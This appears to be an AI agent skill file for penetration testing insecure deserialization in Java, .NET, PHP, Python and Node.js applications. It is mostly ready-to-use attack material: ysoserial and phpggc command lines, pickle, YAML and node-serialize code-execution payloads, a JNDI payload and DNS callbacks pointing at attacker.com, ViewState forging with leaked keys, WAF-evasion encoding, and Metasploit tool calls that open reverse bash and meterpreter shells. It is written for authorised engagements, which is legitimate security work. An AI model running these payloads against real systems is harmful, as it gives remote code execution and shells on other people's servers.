| name | deserialization-pentest |
| description | Guides insecure deserialization testing with format identification, language-specific gadget chains, and ysoserial/phpggc tooling. Use when Java, .NET, PHP, Python, or Ruby serialized objects appear in cookies, headers, APIs, or base64-encoded parameters including ViewState. |
Insecure Deserialization Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- Base64 blobs in cookies, hidden fields, or API bodies with magic bytes
- Magic bytes:
rO0 (Java), aced (Java hex), O: (PHP), gASV (Python pickle)
- Java serialized objects, .NET BinaryFormatter/ViewState, PHP unserialize, Python pickle
- Content-Type
application/java-serialized-object or binary formats
- YAML/XML/JSON endpoints accepting typed objects (Jackson, XStream, Yaml.load)
- ASP.NET
__VIEWSTATE or JSF javax.faces.ViewState parameters
- Errors referencing
ObjectInputStream, SerializationException, or gadget class names
Workflow
Task Progress:
- [ ] Identify serialization format and language/runtime
- [ ] Test with detection payloads and type confusion probes
- [ ] Map available gadget chains for identified libraries/versions
- [ ] Escalate with language-specific RCE proof within ROE
- [ ] Document with request/response evidence and command output proof
Detection
Format identification
| Magic / Pattern | Format |
|---|
ac ed 00 05 (hex) | Java serialized |
rO0AB (base64) | Java serialized |
O:4:"User" | PHP serialized object |
gASV (base64) | Python pickle |
AAEAAAD (base64) | .NET BinaryFormatter |
__VIEWSTATE | ASP.NET ViewState |
CLI (primary for web vulns):
java -jar ysoserial.jar URLDNS "http://unique.attacker.com" | base64 -w0
MSF MCP:
msf_search_modules(query="java_deserialize")
msf_search_modules(query="deserialization")
Exploitation by language
Java (ysoserial)
CLI (primary):
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
java -jar ysoserial.jar URLDNS "http://callback.attacker.com/a" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "whoami" > payload.bin
Jackson/Fastjson:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/obj","autoCommit":true}
MSF MCP:
msf_search_modules(query="java deserialization")
# Reference modules: exploit/multi/http/jenkins_script_console, exploit/multi/misc/java_rmi_server
msf_module_check(
engagement_id="<id>",
module_type="exploit",
module_name="exploit/multi/http/jenkins_script_console",
options={"RHOSTS": "<target>", "RPORT": 8080}
)
msf_run_exploit(
module_name="exploit/multi/http/jenkins_script_console",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 8080, "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "<attacker>", "LPORT": 4444}
)
Java RMI and JMX
CLI (primary):
nmap -p 1099 --script rmi-dumpregistry <target>
java -cp ysoserial.jar:ysoserial-exploit.jar ysoserial.exploit.RMIRegistryExploit <target> 1099 CommonsCollections6 "id"
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean <target> 9010 CommonsCollections6 "id"
MSF MCP:
msf_search_modules(query="java_rmi")
msf_search_modules(query="jmx")
.NET BinaryFormatter and ViewState
CLI (primary):
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "whoami" -o base64
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "calc"
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" --validationalg="SHA1" --validationkey="<key>" --decryptionalg="AES" --decryptionkey="<key>"
MSF MCP:
msf_search_modules(query="viewstate")
msf_search_modules(query="dotnet deserialize")
.NET ViewState YSoSerial.NET chains
CLI (primary):
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Windows\System32\cmd.exe /c whoami" --path="/login.aspx" --apppath="/" --islegacy
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "whoami"
Test unsigned ViewState, leaked machineKey, ViewStateUserKey bypass.
MSF MCP: No direct module.
PHP unserialize and POP chains
CLI (primary):
phpggc -l
phpggc Laravel/RCE1 system id | base64
phpggc Symfony/RCE4 system id | base64
phpggc -u http://target/file.phar Monolog/RCE1 system id
Object injection: O:8:"UserClass":1:{s:4:"file";s:11:"/etc/passwd";}
Phar: upload Phar, trigger phar://uploads/evil.phar
MSF MCP: No direct module. Use msf_search_modules(query="php unserialize").
PHP POP chain discovery
CLI (primary):
phpggc --fast-destruct Laravel/RCE1 system id
curl -b "session=<base64_payload>" "http://<target>/"
Map __wakeup, __destruct, __toString magic methods to known gadget paths.
MSF MCP: No direct module.
Python pickle and YAML
CLI (primary):
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))
PyYAML unsafe load:
!!python/object/apply:os.system ['id']
!!python/object/new:os.system ['id']
!!python/object/new:subprocess.check_output [['id']]
MSF MCP: No direct module.
Node.js node-serialize
CLI (primary):
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
MSF MCP: No direct module.
WAF bypass
CLI (primary):
java -jar ysoserial.jar CommonsCollections6 "id" | gzip | base64 -w0
ViewState: test encrypted vs signed vs unsigned variants.
MSF MCP: Encode payloads in exploit module PAYLOAD options when applicable.
Impact escalation
| Stage | CLI | MSF MCP |
|---|
| Detect | URLDNS OOB | search modules |
| RCE | ysoserial, phpggc, pickle | jenkins_script_console, java_rmi_server |
| File read | PHP phar metadata | N/A |
| SSRF | JdbcRowSetImpl JNDI | search jndi |
MSF MCP post-RCE:
msf_search_modules(query="java deserialization")
msf_module_check(
engagement_id="<id>",
module_type="exploit",
module_name="exploit/multi/misc/java_rmi_server",
options={"RHOSTS": "<target>", "RPORT": 1099}
)
msf_run_exploit(
module_name="exploit/multi/misc/java_rmi_server",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 1099, "PAYLOAD": "linux/x64/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)
Tool reference
java -jar ysoserial.jar CommonsCollections6 "whoami" > payload.bin
java -jar ysoserial.jar URLDNS "http://callback.attacker.com/a"
phpggc -l && phpggc Laravel/RCE1 system id
ysoserial.exe -g ActivitySurrogateSelector -f BinaryFormatter -c "cmd /c whoami"
Related skills
web-app-pentest - overall web testing flow
lfi-pentest - PHP phar deserialization overlaps with file inclusion
binary-exploit-pentest - native binary gadgets when source unavailable
ssti-pentest - SpEL and template injection overlap with Java gadget chains